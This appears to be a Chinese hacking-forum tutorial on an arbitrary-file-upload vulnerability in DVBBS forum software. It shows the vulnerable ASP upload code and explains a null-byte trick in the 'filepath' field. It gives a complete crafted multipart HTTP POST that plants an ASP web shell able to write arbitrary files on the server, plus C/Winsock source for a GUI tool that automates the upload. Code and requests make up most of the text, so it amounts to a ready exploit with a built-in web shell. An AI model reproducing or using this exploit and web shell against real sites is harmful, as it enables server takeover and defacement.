最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪（猪蛋儿的《目前流行的BBS安全性比较》一文请参阅：http://wvw.ttian.net/forum/viewtopic.php?id=269）说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).
我们先看一下动网论坛上传文件的相关代码:
'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
iCount=0
if upload.err > 0 then
select case upload.err
case 1
Response.Write "请先选择你要上传的文件 [
1<a href="#" onclick="history.go(-1)">重新上传</a>
]"
case 2
Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [
1<a href="#" onclick="history.go(-1)">重新上传</a>
]"
end select
exit sub
else
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片 [
1<a href="#" onclick="history.go(-1)">重新上传</a>
]"
response.end
end if
fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确 [
1<a href="#" onclick="history.go(-1)">重新上传</a>
]"
response.end
end if
randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!
1<br/>
"
response.write "
1<script>parent.document.forms[0].myface.value='"&FileName&"'</script>
"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 个文件上传结束!"
end if
end sub
在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码:
1<form action="upfile.asp" enctype="multipart/form-data" method="post" name="form">
2<input name="filepath" type="hidden" value="uploadFace"/>
3<input name="act" type="hidden" value="upload"/>
4<input name="file1" type="file"/>
5<input name="fname" type="hidden"/>
6<input name="Submit" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
7parent.document.forms[0].Submit2.disabled=true;" type="submit" value="上传"/>
8</form>
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.
当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):
POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"
uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"
upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain
1dim objFSO
1dim fdata
1dim objCountFile
1on error resume next
1Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
1if Trim(request("syfdpath"))<>"" then
1fdata = request("cyfddata")
1Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
1objCountFile.Write fdata
1if err =0 then
1response.write "
<font color="red">save Success!</font>
1"
1else
1response.write "
<font color="red">Save UnSuccess!</font>
1"
1end if
1err.clear
1end if
1objCountFile.Close
1Set objCountFile=Nothing
1Set objFSO = Nothing
1Response.write "
<form ''="" action="" method="post">"
Response.Write "<input name="syfdpath" size="50" type="text" width="32"/>"
Response.Write "<br/>"
=server.mappath(Request.ServerVariables("SCRIPT_NAME"))
Response.write "<br/>"
Response.write "<textarea cols="80" name="cyfddata" rows="10" width="32"></textarea>"
Response.write "<input type="submit" value="save"/>"
Response.write "</form>
1"
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"
C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"
上传
-----------------------------7d4a325500d2--
上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"
C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).
至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的.
写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include
1<winsock2.h>
2#include <stdio.h>
3#include "Resource.h"
4
5#pragma comment(lib,"ws2_32.lib")
6
7HINSTANCE g_hInst;
8HWND g_hWnd;
9HWND m_up;
10HWND m_host;
11HWND m_webpath;
12HWND m_path;
13HWND m_filename;
14HWND m_upload;
15DWORD m_theadid;
16BYTE sendbuf[10000];
17char host[80]; //主机地址
18char bbspath[50]; //论坛地址
19char uppath[20]; //上传目录
20char upfilename[50]; //上传文件名
21char upfiledata[8000]; //上传文件内容
22int sendsize; //总传送数据大小
23int realsndsize = 0; //传送页面文件的大小
24char snddata[8000];
25char mm[1000]=
26"```
27dim objFSO
28```\r\n"
29"```
30dim fdata
31```\r\n"
32"```
33dim objCountFile
34```\r\n"
35"```
36on error resume next
37```\r\n"
38"```
39Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")
40```\r\n"
41"```
42if Trim(request(\"syfdpath\"))&lt;&gt;\"\" then
43```\r\n"
44"```
45fdata = request(\"cyfddata\")
46```\r\n"
47"```
48Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)
49```\r\n"
50"```
51objCountFile.Write fdata
52```\r\n"
53"```
54if err =0 then
55```\r\n"
56"```
57response.write \"<font color="red">save Success!</font>\"
58```\r\n"
59"```
60else
61```"
62"```
63response.write \"<font color="red">Save UnSuccess!</font>\"
64```\r\n"
65"```
66end if
67```\r\n"
68"```
69err.clear
70```\r\n"
71"```
72end if
73```"
74"```
75objCountFile.Close
76```\r\n"
77"```
78Set objCountFile=Nothing
79```\r\n"
80"```
81Set objFSO = Nothing
82```"
83"```
84Response.write \"<form action="\'\'" method="post">\"
85```\r\n"
86"```
87Response.Write \"<input name="syfdpath" size="50" type="text" width="32"/>\"
88```\r\n"
89"```
90Response.Write \"<br/>\"
91```\r\n"
92"```
93=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))
94```\r\n"
95"```
96Response.write \"<br/>\"
97```\r\n"
98"```
99Response.write \"<textarea cols="80" name="cyfddata" rows="10" width="32"></textarea>\"
100```\r\n"
101"```
102Response.write \"<input type="submit" value="save"/>\"
103```\r\n"
104"```
105Response.write \"</form>\"
106```\r\n";
107
108//获得控件文本
109char *gettext(HWND chwnd)
110{
111char tmpbuf[10000];
112SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
113return tmpbuf;
114}
115
116//设置控件文本
117void settext(HWND chwnd,char *text)
118{
119SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
120}
121
122char *itos(int data)
123{
124char tmp[10];
125sprintf(tmp, "%d", data);
126return tmp;
127}
128
129//上传线程
130DWORD WINAPI uploadthread(LPVOID param)
131{
132SOCKET s;
133sockaddr_in sin;
134struct hostent * hp;
135unsigned int addr;
136
137s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
138
139ZeroMemory((void *)&sin, sizeof(sin));
140
141hp = gethostbyname(gettext(m_host));
142if (!hp)
143addr = inet_addr(gettext(m_host));
144if ((!hp) && (addr == INADDR_NONE) )
145{
146MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
147return 0;
148}
149if (hp != NULL)
150memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
151else
152sin.sin_addr.s_addr = addr;
153
154sin.sin_port = htons(80);
155sin.sin_family = AF_INET;
156
157strcpy(host, gettext(m_host));
158strcpy(bbspath, gettext(m_webpath));
159strcpy(upfiledata, gettext(m_upload));
160strcpy(uppath, gettext(m_path));
161strcpy(upfilename, gettext(m_filename));
162
163realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
164
165sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
166"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
167"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
168"Accept-Language: zh-cn\r\n"
169"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
170"Accept-Encoding: gzip, deflate\r\n"
171"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
172"Host: %s\r\n"
173"Content-Length: %d\r\n"
174"Connection: Keep-Alive\r\n"
175"Cache-Control: no-cache\r\n"
176"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
177"-----------------------------7d4a325500d2\r\n"
178"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
179"%s\\\%s",
180bbspath,
181host,
182realsndsize,
183uppath,
184upfilename);
185
186sendsize = strlen((char *)sendbuf);
187sendbuf[sendsize] = '\0';
188
189sprintf(snddata,
190"\r\n"
191"-----------------------------7d4a325500d2\r\n"
192"Content-Disposition: form-data; name=\"act\"\r\n\r\n"
193"upload\r\n"
194"-----------------------------7d4a325500d2\r\n"
195"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\\1.gif\"\r\n"
196"Content-Type: text/plain\r\n\r\n"
197"%s\r\n"
198"-----------------------------7d4a325500d2\r\n"
199"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
200"C:\\\1.gif\r\n"
201"-----------------------------7d4a325500d2\r\n"
202"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
203"上传\r\n"
204"-----------------------------7d4a325500d2--\r\n\r\n",
205upfiledata);
206
207strcat((char *)&sendbuf[sendsize+1], snddata);
208
209sendsize += strlen(snddata);
210sendsize += 1;
211
212if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
213{
214MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_IConERROR);
215return 0;
216}
217int sendsz = send(s, (char *)sendbuf, sendsize, 0);
218if(sendsz <= 0)
219MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
220char recvbuf[10000];
221recv(s, (char*)recvbuf, 10000, 0);
222settext(m_upload, recvbuf);
223closesocket(s);
224return 0;
225}
226
227void WINAPI On_Command(WPARAM wParam)
228{
229switch (LOWORD(wParam))
230{
231case ID_UP:
232CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
233break;
234case IDCANCEL:
235SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
236break;
237}
238}
239
240static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
241{
242switch (msg)
243{
244case WM_INITDIALOG:
245g_hWnd = hWndDlg;
246m_up = GetDlgItem(g_hWnd, ID_UP);
247m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
248m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
249m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
250m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
251m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
252settext(m_host, "192.168.10.101");
253settext(m_webpath, "/");
254settext(m_path, "uploadface");
255settext(m_filename, "zwell.asp");
256settext(m_upload, mm);
257return TRUE;
258
259case WM_COMMAND:
260On_Command(wParam);
261break;
262
263case WM_SIZE:
264break;
265
266case WM_CLOSE:
267EndDialog(g_hWnd,0);
268break;
269}
270return FALSE;
271}
272
273int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
274{
275WSADATA wsaData;
276
277g_hInst=hInstance;
278if(WSAStartup(MAKEWORD(1, 1), &wsaData))
279{
280MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);
281return 0;
282}
283DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
284WSACleanup();
285return 1;
286}
287
288WINDOWS2003 + VC.NET
289WINDOWS2003 WINDOWS2000测试通过</stdio.h></winsock2.h>